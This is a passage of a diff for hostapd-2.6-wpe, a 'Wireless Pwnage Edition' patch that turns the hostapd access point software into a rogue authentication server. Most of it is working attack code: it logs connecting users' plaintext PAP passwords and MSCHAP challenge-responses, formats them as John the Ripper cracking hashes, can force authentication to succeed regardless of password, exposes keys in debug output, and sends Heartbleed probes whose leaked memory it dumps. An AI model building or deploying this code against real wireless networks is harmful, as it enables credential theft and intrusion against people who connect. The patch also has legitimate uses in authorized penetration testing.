+++ hostapd-2.6-wpe/src/eap_server/eap_server_peap.c 2016-12-17 06:12:53.959984072 -0500
|
|
@@ -17,7 +17,7 @@
|
|
#include "eap_common/eap_tlv_common.h"
|
|
#include "eap_common/eap_peap_common.h"
|
|
#include "tncs.h"
|
|
-
|
|
+#include "wpe/wpe.h"
|
|
|
|
/* Maximum supported PEAP version
|
|
* 0 = Microsoft's PEAP version 0; draft-kamath-pppext-peapv0-00.txt
|
|
diff -rupN hostapd-2.6/src/eap_server/eap_server_ttls.c hostapd-2.6-wpe/src/eap_server/eap_server_ttls.c
|
|
--- hostapd-2.6/src/eap_server/eap_server_ttls.c 2016-10-02 14:51:11.000000000 -0400
|
|
+++ hostapd-2.6-wpe/src/eap_server/eap_server_ttls.c 2016-12-17 06:12:53.959984072 -0500
|
|
@@ -16,7 +16,7 @@
|
|
#include "eap_server/eap_tls_common.h"
|
|
#include "eap_common/chap.h"
|
|
#include "eap_common/eap_ttls.h"
|
|
-
|
|
+#include "wpe/wpe.h"
|
|
|
|
#define EAP_TTLS_VERSION 0
|
|
|
|
@@ -538,9 +538,11 @@ static void eap_ttls_process_phase2_pap(
|
|
return;
|
|
}
|
|
|
|
- if (sm->user->password_len != user_password_len ||
|
|
+ wpe_log_basic("eap-ttls/pap", sm->identity, sm->identity_len, user_password, user_password_len);
|
|
+
|
|
+ if ((!wpe_conf.wpe_enable_return_success) && (sm->user->password_len != user_password_len ||
|
|
os_memcmp_const(sm->user->password, user_password,
|
|
- user_password_len) != 0) {
|
|
+ user_password_len) != 0)) {
|
|
wpa_printf(MSG_DEBUG, "EAP-TTLS/PAP: Invalid user password");
|
|
eap_ttls_state(data, FAILURE);
|
|
return;
|
|
@@ -603,8 +605,9 @@ static void eap_ttls_process_phase2_chap
|
|
chap_md5(password[0], sm->user->password, sm->user->password_len,
|
|
challenge, challenge_len, hash);
|
|
|
|
- if (os_memcmp_const(hash, password + 1, EAP_TTLS_CHAP_PASSWORD_LEN) ==
|
|
- 0) {
|
|
+ wpe_log_chalresp("eap-ttls/chap", sm->identity, sm->identity_len, challenge, challenge_len, password, password_len);
|
|
+
|
|
+ if ((wpe_conf.wpe_enable_return_success) || (os_memcmp(hash, password + 1, EAP_TTLS_CHAP_PASSWORD_LEN) == 0)) {
|
|
wpa_printf(MSG_DEBUG, "EAP-TTLS/CHAP: Correct user password");
|
|
eap_ttls_state(data, SUCCESS);
|
|
eap_ttls_valid_session(sm, data);
|
|
@@ -672,7 +675,9 @@ static void eap_ttls_process_phase2_msch
|
|
nt_challenge_response(challenge, sm->user->password,
|
|
sm->user->password_len, nt_response);
|
|
|
|
- if (os_memcmp_const(nt_response, response + 2 + 24, 24) == 0) {
|
|
+ wpe_log_chalresp("eap-ttls/mschap", sm->identity, sm->identity_len, challenge, challenge_len, response + 2 + 24, 24);
|
|
+
|
|
+ if ((wpe_conf.wpe_enable_return_success) || (os_memcmp(nt_response, response + 2 + 24, 24) == 0)) {
|
|
wpa_printf(MSG_DEBUG, "EAP-TTLS/MSCHAP: Correct response");
|
|
eap_ttls_state(data, SUCCESS);
|
|
eap_ttls_valid_session(sm, data);
|
|
@@ -694,7 +699,7 @@ static void eap_ttls_process_phase2_msch
|
|
u8 *response, size_t response_len)
|
|
{
|
|
u8 *chal, *username, nt_response[24], *rx_resp, *peer_challenge,
|
|
- *auth_challenge;
|
|
+ *auth_challenge, wpe_challenge_hash[8];
|
|
size_t username_len, i;
|
|
|
|
if (challenge == NULL || response == NULL ||
|
|
@@ -779,6 +784,9 @@ static void eap_ttls_process_phase2_msch
|
|
}
|
|
|
|
rx_resp = response + 2 + EAP_TTLS_MSCHAPV2_CHALLENGE_LEN + 8;
|
|
+
|
|
+ challenge_hash(peer_challenge, auth_challenge, username, username_len, wpe_challenge_hash);
|
|
+ wpe_log_chalresp("eap-ttls/mschapv2", username, username_len, wpe_challenge_hash, 8, rx_resp, 24);
|
|
#ifdef CONFIG_TESTING_OPTIONS
|
|
{
|
|
u8 challenge2[8];
|
|
diff -rupN hostapd-2.6/src/Makefile hostapd-2.6-wpe/src/Makefile
|
|
--- hostapd-2.6/src/Makefile 2016-10-02 14:51:11.000000000 -0400
|
|
+++ hostapd-2.6-wpe/src/Makefile 2016-12-17 06:12:53.959984072 -0500
|
|
@@ -1,5 +1,5 @@
|
|
SUBDIRS=ap common crypto drivers eapol_auth eapol_supp eap_common eap_peer eap_server l2_packet p2p pae radius rsn_supp tls utils wps
|
|
-SUBDIRS += fst
|
|
+SUBDIRS += fst wpe
|
|
|
|
all:
|
|
for d in $(SUBDIRS); do [ -d $$d ] && $(MAKE) -C $$d; done
|
|
diff -rupN hostapd-2.6/src/utils/wpa_debug.c hostapd-2.6-wpe/src/utils/wpa_debug.c
|
|
--- hostapd-2.6/src/utils/wpa_debug.c 2016-10-02 14:51:11.000000000 -0400
|
|
+++ hostapd-2.6-wpe/src/utils/wpa_debug.c 2016-12-17 06:12:53.963984072 -0500
|
|
@@ -30,7 +30,7 @@ static FILE *wpa_debug_tracing_file = NU
|
|
|
|
|
|
int wpa_debug_level = MSG_INFO;
|
|
-int wpa_debug_show_keys = 0;
|
|
+int wpa_debug_show_keys = 1; // WPE >:)
|
|
int wpa_debug_timestamp = 0;
|
|
|
|
|
|
diff -rupN hostapd-2.6/src/wpe/Makefile hostapd-2.6-wpe/src/wpe/Makefile
|
|
--- hostapd-2.6/src/wpe/Makefile 1969-12-31 19:00:00.000000000 -0500
|
|
+++ hostapd-2.6-wpe/src/wpe/Makefile 2016-12-17 06:12:53.963984072 -0500
|
|
@@ -0,0 +1,8 @@
|
|
+all:
|
|
+ @echo Nothing to be made.
|
|
+
|
|
+clean:
|
|
+ rm -f *~ *.o *.d *.gcno *.gcda *.gcov
|
|
+
|
|
+install:
|
|
+ @echo Nothing to be made.
|
|
diff -rupN hostapd-2.6/src/wpe/wpe.c hostapd-2.6-wpe/src/wpe/wpe.c
|
|
--- hostapd-2.6/src/wpe/wpe.c 1969-12-31 19:00:00.000000000 -0500
|
|
+++ hostapd-2.6-wpe/src/wpe/wpe.c 2016-12-17 06:14:09.787982636 -0500
|
|
@@ -0,0 +1,213 @@
|
|
+/*
|
|
+ wpe.c -
|
|
+ brad.antoniewicz@foundstone.com
|
|
+ Implements WPE (Wireless Pwnage Edition) functionality within
|
|
+ hostapd.
|
|
+
|
|
+ WPE functionality focuses on targeting connecting users. At
|
|
+ it's core it implements credential logging (originally
|
|
+ implemented in FreeRADIUS-WPE), but also includes other patches
|
|
+ for other client attacks that have been modified to some extend.
|
|
+
|
|
+ FreeRADIUS-WPE: https://github.com/brad-anton/freeradius-wpe
|
|
+ Karma patch: http://foofus.net/goons/jmk/tools/hostapd-1.0-karma.diff
|
|
+ Cupid patch: https://github.com/lgrangeia/cupid/blob/master/patch-hostapd
|
|
+*/
|
|
+
|
|
+#include <time.h>
|
|
+#include <openssl/ssl.h>
|
|
+#include "includes.h"
|
|
+#include "common.h"
|
|
+#include "wpe/wpe.h"
|
|
+#include "utils/wpa_debug.h"
|
|
+
|
|
+#define wpe_logfile_default_location "./hostapd-wpe.log"
|
|
+
|
|
+
|
|
+#define MSCHAPV2_CHAL_HASH_LEN 8
|
|
+#define MSCHAPV2_CHAL_LEN 16
|
|
+#define MSCHAPV2_RESP_LEN 24
|
|
+
|
|
+char wpe_hb_msg[] = "\x18\x03\x01\x00\x03\x01\xff\xff";
|
|
+size_t wpe_hb_msg_len = sizeof(wpe_hb_msg)/sizeof(wpe_hb_msg[0]);
|
|
+
|
|
+struct wpe_config wpe_conf = {
|
|
+ .wpe_logfile = wpe_logfile_default_location,
|
|
+ .wpe_logfile_fp = NULL,
|
|
+ .wpe_enable_karma = 0,
|
|
+ .wpe_enable_cupid = 0,
|
|
+ .wpe_enable_return_success = 0,
|
|
+ .wpe_hb_send_before_handshake = 1,
|
|
+ .wpe_hb_send_before_appdata = 0,
|
|
+ .wpe_hb_send_after_appdata = 0,
|
|
+ .wpe_hb_payload_size = 50000,
|
|
+ .wpe_hb_num_tries = 1,
|
|
+ .wpe_hb_num_repeats = 10
|
|
+};
|
|
+
|
|
+void wpe_log_file_and_stdout(char const *fmt, ...) {
|
|
+
|
|
+ if ( wpe_conf.wpe_logfile_fp == NULL ) {
|
|
+ wpe_conf.wpe_logfile_fp = fopen(wpe_conf.wpe_logfile, "a");
|
|
+ if ( wpe_conf.wpe_logfile_fp == NULL )
|
|
+ printf("WPE: Cannot file log file");
|
|
+ }
|
|
+
|
|
+ va_list ap;
|
|
+
|
|
+ va_start(ap, fmt);
|
|
+ vprintf(fmt, ap);
|
|
+ va_end(ap);
|
|
+
|
|
+ va_start(ap, fmt);
|
|
+ if ( wpe_conf.wpe_logfile_fp != NULL )
|
|
+ vfprintf(wpe_conf.wpe_logfile_fp, fmt, ap);
|
|
+ va_end(ap);
|
|
+}
|
|
+
|
|
+void wpe_log_chalresp(char *type, const u8 *username, size_t username_len, const u8 *challenge, size_t challenge_len, const u8 *response, size_t response_len) {
|
|
+ time_t nowtime;
|
|
+ int x;
|
|
+
|
|
+ nowtime = time(NULL);
|
|
+
|
|
+ wpe_log_file_and_stdout("\n\n%s: %s", type, ctime(&nowtime));
|
|
+ wpe_log_file_and_stdout("\t username:\t");
|
|
+ for (x=0; x<username_len; x++)
|
|
+ wpe_log_file_and_stdout("%c",username[x]);
|
|
+ wpe_log_file_and_stdout("\n");
|
|
+
|
|
+ wpe_log_file_and_stdout("\t challenge:\t");
|
|
+ for (x=0; x<challenge_len - 1; x++)
|
|
+ wpe_log_file_and_stdout("%02x:",challenge[x]);
|
|
+ wpe_log_file_and_stdout("%02x\n",challenge[x]);
|
|
+
|
|
+ wpe_log_file_and_stdout("\t response:\t");
|
|
+ for (x=0; x<response_len - 1; x++)
|
|
+ wpe_log_file_and_stdout("%02x:",response[x]);
|
|
+ wpe_log_file_and_stdout("%02x\n",response[x]);
|
|
+
|
|
+ if (strncmp(type, "mschapv2", 8) == 0 || strncmp(type, "eap-ttls/mschapv2", 17) == 0) {
|
|
+ wpe_log_file_and_stdout("\t jtr NETNTLM:\t");
|
|
+ for (x=0; x<username_len; x++)
|
|
+ wpe_log_file_and_stdout("%c",username[x]);
|
|
+ wpe_log_file_and_stdout(":$NETNTLM$");
|
|
+
|
|
+ for (x=0; x<challenge_len; x++)
|
|
+ wpe_log_file_and_stdout("%02x",challenge[x]);
|
|
+ wpe_log_file_and_stdout("$");
|
|
+ for (x=0; x<response_len; x++)
|
|
+ wpe_log_file_and_stdout("%02x",response[x]);
|
|
+ wpe_log_file_and_stdout("\n");
|
|
+ }
|
|
+}
|
|
+
|
|
+void wpe_log_basic(char *type, const u8 *username, size_t username_len, const u8 *password, size_t password_len) {
|
|
+ time_t nowtime;
|
|
+ int x;
|
|
+
|
|
+ nowtime = time(NULL);
|
|
+
|
|
+ wpe_log_file_and_stdout("\n\n%s: %s",type, ctime(&nowtime));
|
|
+ wpe_log_file_and_stdout("\t username:\t");
|
|
+ for (x=0; x<username_len; x++)
|
|
+ wpe_log_file_and_stdout("%c",username[x]);
|
|
+ wpe_log_file_and_stdout("\n");
|
|
+
|
|
+ wpe_log_file_and_stdout("\t password:\t");
|
|
+ for (x=0; x<password_len; x++)
|
|
+ wpe_log_file_and_stdout("%c",password[x]);
|
|
+ wpe_log_file_and_stdout("\n");
|
|
+}
|
|
+
|
|
+/*
|
|
+ Taken from asleap, who took from nmap, who took from tcpdump :)
|
|
+*/
|
|
+void wpe_hexdump(unsigned char *bp, unsigned int length)
|
|
+{
|
|
+
|
|
+ /* stolen from tcpdump, then kludged extensively */
|
|
+
|
|
+ static const char asciify[] =
|
|
+ "................................ !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~.................................................................................................................................";
|
|
+
|
|
+ const unsigned short *sp;
|
|
+ const unsigned char *ap;
|
|
+ unsigned int i, j;
|
|
+ int nshorts, nshorts2;
|
|
+ int padding;
|
|
+
|
|
+ wpe_log_file_and_stdout("\n\t");
|
|
+ padding = 0;
|
|
+ sp = (unsigned short *)bp;
|
|
+ ap = (unsigned char *)bp;
|
|
+ nshorts = (unsigned int)length / sizeof(unsigned short);
|
|
+ nshorts2 = (unsigned int)length / sizeof(unsigned short);
|
|
+ i = 0;
|
|
+ j = 0;
|
|
+ while (1) {
|
|
+ while (--nshorts >= 0) {
|
|
+ wpe_log_file_and_stdout(" %04x", ntohs(*sp));
|
|
+ sp++;
|
|
+ if ((++i % 8) == 0)
|
|
+ break;
|
|
+ }
|
|
+ if (nshorts < 0) {
|
|
+ if ((length & 1) && (((i - 1) % 8) != 0)) {
|
|
+ wpe_log_file_and_stdout(" %02x ", *(unsigned char *)sp);
|
|
+ padding++;
|
|
+ }
|
|
+ nshorts = (8 - (nshorts2 - nshorts));
|
|
+ while (--nshorts >= 0) {
|
|
+ wpe_log_file_and_stdout(" ");
|
|
+ }
|
|
+ if (!padding)
|
|
+ wpe_log_file_and_stdout(" ");
|
|
+ }
|
|
+ wpe_log_file_and_stdout(" ");
|
|
+
|
|
+ while (--nshorts2 >= 0) {
|
|
+ wpe_log_file_and_stdout("%c%c", asciify[*ap], asciify[*(ap + 1)]);
|
|
+ ap += 2;
|
|
+ if ((++j % 8) == 0) {
|
|
+ wpe_log_file_and_stdout("\n\t");
|
|
+ break;
|
|
+ }
|
|
+ }
|
|
+ if (nshorts2 < 0) {
|
|
+ if ((length & 1) && (((j - 1) % 8) != 0)) {
|
|
+ wpe_log_file_and_stdout("%c", asciify[*ap]);
|
|
+ }
|
|
+ break;
|
|
+ }
|
|
+ }
|
|
+ if ((length & 1) && (((i - 1) % 8) == 0)) {
|
|
+ wpe_log_file_and_stdout(" %02x", *(unsigned char *)sp);
|
|
+ wpe_log_file_and_stdout(" %c",
|
|
+ asciify[*ap]);
|
|
+ }
|
|
+ wpe_log_file_and_stdout("\n");
|
|
+}
|
|
+
|
|
+void wpe_hb_cb(int v_write_p, int v_version, int v_content_type, const void* v_buf, size_t v_len, SSL* v_ssl, void* v_arg) {
|
|
+#ifdef TLS1_RT_HEARTBEAT
|
|
+ if (v_content_type == TLS1_RT_HEARTBEAT) {
|
|
+#elif defined(DTLS1_RT_HEARTBEAT)
|
|
+ if (v_content_type == DTLS1_RT_HEARTBEAT) {
|
|
+#endif
|
|
+ wpe_log_file_and_stdout("\n\nHeartbleed Data:\n");
|
|
+ v_ssl->tlsext_hb_pending = 1;
|
|
+ wpe_hexdump((unsigned char *)v_buf, v_len);
|
|
+ }
|
|
+}
|
|
+
|
|
+
|
|
+char *wpe_hb_clear() {
|
|
+ char *p;
|
|
+ // set payload size
|
|
+ p = &wpe_hb_msg[sizeof(wpe_hb_msg) - 3];
|
|
+ s2n(wpe_conf.wpe_hb_payload_size, p);
|
|
+
|
|
+ return wpe_hb_msg;
|
|
+}
|
|
+
|
|
diff -rupN hostapd-2.6/src/wpe/wpe.h hostapd-2.6-wpe/src/wpe/wpe.h
|
|
--- hostapd-2.6/src/wpe/wpe.h 1969-12-31 19:00:00.000000000 -0500
|
|
+++ hostapd-2.6-wpe/src/wpe/wpe.h 2016-12-17 06:12:53.963984072 -0500
|
|
@@ -0,0 +1,50 @@
|
|
+/*
|
|
+ wpe.h -
|
|
+ brad.antoniewicz@foundstone.com
|
|
+ Implements WPE (Wireless Pwnage Edition) functionality within
|
|
+ hostapd.
|
|
+
|
|
+ WPE functionality focuses on targeting connecting users. At
|
|
+ it's core it implements credential logging (originally
|
|
+ implemented in FreeRADIUS-WPE), but also includes other patches
|
|
+ for other client attacks.
|
|
+
|
|
+ FreeRADIUS-WPE: https://github.com/brad-anton/freeradius-wpe
|
|
+ Karma patch: http://foofus.net/goons/jmk/tools/hostapd-1.0-karma.diff
|
|
+ Cupid patch: https://github.com/lgrangeia/cupid/blob/master/patch-hostapd
|
|
+*/
|
|
+#include <openssl/ssl.h>
|
|
+
|
|
+struct wpe_config {
|
|
+ char *wpe_logfile;
|
|
+ FILE *wpe_logfile_fp;
|
|
+ unsigned int wpe_enable_karma;
|
|
+ unsigned int wpe_enable_cupid;
|
|
+ unsigned int wpe_enable_return_success;
|
|
+ unsigned int wpe_hb_send_before_handshake:1;
|
|
+ unsigned int wpe_hb_send_before_appdata:1;
|
|
+ unsigned int wpe_hb_send_after_appdata:1;
|
|
+ unsigned int wpe_hb_payload_size;
|
|
+ unsigned int wpe_hb_num_tries;
|
|
+ unsigned int wpe_hb_num_repeats;
|
|
+};
|
|
+
|
|
+extern struct wpe_config wpe_conf;
|
|
+
|
|
+extern char wpe_hb_msg[];
|
|
+extern size_t wpe_hb_msg_len;
|
|
+
|
|
+//#define WPE_HB_MSG_LEN 8
|
|
+
|
|
+#define n2s(c,s)((s=(((unsigned int)(c[0]))<< 8)| \
|
|
+ (((unsigned int)(c[1])) )),c+=2)
|
|
+
|
|
+#define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), \
|
|
+ c[1]=(unsigned char)(((s) )&0xff)),c+=2)
|
|
+
|
|
+
|
|
+void wpe_log_file_and_stdout(char const *fmt, ...);
|
|
+void wpe_log_chalresp(char *type, const u8 *username, size_t username_len, const u8 *challenge, size_t challenge_len, const u8 *response, size_t response_len);
|
|
+void wpe_log_basic(char *type, const u8 *username, size_t username_len, const u8 *password, size_t password_len);
|
|
+void wpe_hb_cb(int v_write_p, int v_version, int v_content_type, const void* v_buf, size_t v_len, SSL* v_ssl, void* v_arg);
|
|
+char *wpe_hb_clear();
|